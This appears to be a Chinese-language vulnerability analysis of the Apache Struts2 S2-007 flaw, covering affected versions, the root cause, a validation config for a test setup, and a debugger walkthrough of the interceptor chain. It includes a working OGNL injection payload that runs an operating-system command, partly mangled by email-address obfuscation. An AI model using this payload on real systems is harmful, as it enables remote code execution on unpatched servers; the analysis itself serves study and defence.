0%

S2-007

漏洞信息

漏洞影响范围: Struts 2.0.0 - Struts 2.2.3

漏洞形成原因:当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行。

漏洞利用

命令执行:

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@[email protected](@[email protected]().exec('command').getInputStream())) + '

漏洞分析

因为漏洞是出现在验证机制处,所以需要在搭建的环境中配置一个参数验证,在src下配置一个UserAction-validation.xml来进行表单验证

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>

apache issues上看到

描述中主要说修改ConversionErrorInterceptor拦截器和RepopulateConversionErrorFieldValidatorSupport重新填充验证报错字段类,接下来就主要看一下这两个类的调用链

xwork-core-2.2.3.jar!\com\opensymphony\xwork2\interceptor\ConversionErrorInterceptor.class

我们在intercept处下断点,进行调试过程中我们可以在IDEA下面的参数变化框中发现

输入的内容不符合规定要求报错,被ConversionErrorInterceptor拦截器拦截到

根据漏洞提示我们对51行左右的fakie.put(propertyName, this.getOverrideExpr(invocation, value));下断点

从上面我们可以发现它'+(#application)+'单引号进行了闭合处理,然后通过invocation.invoke();进行OGNL解析

然后我们在xwork-core-2.2.3.jar!\com\opensymphony\xwork2\util\TextParseUtil.class:121下断点可以看到age中的值成功解析已以达到命令执行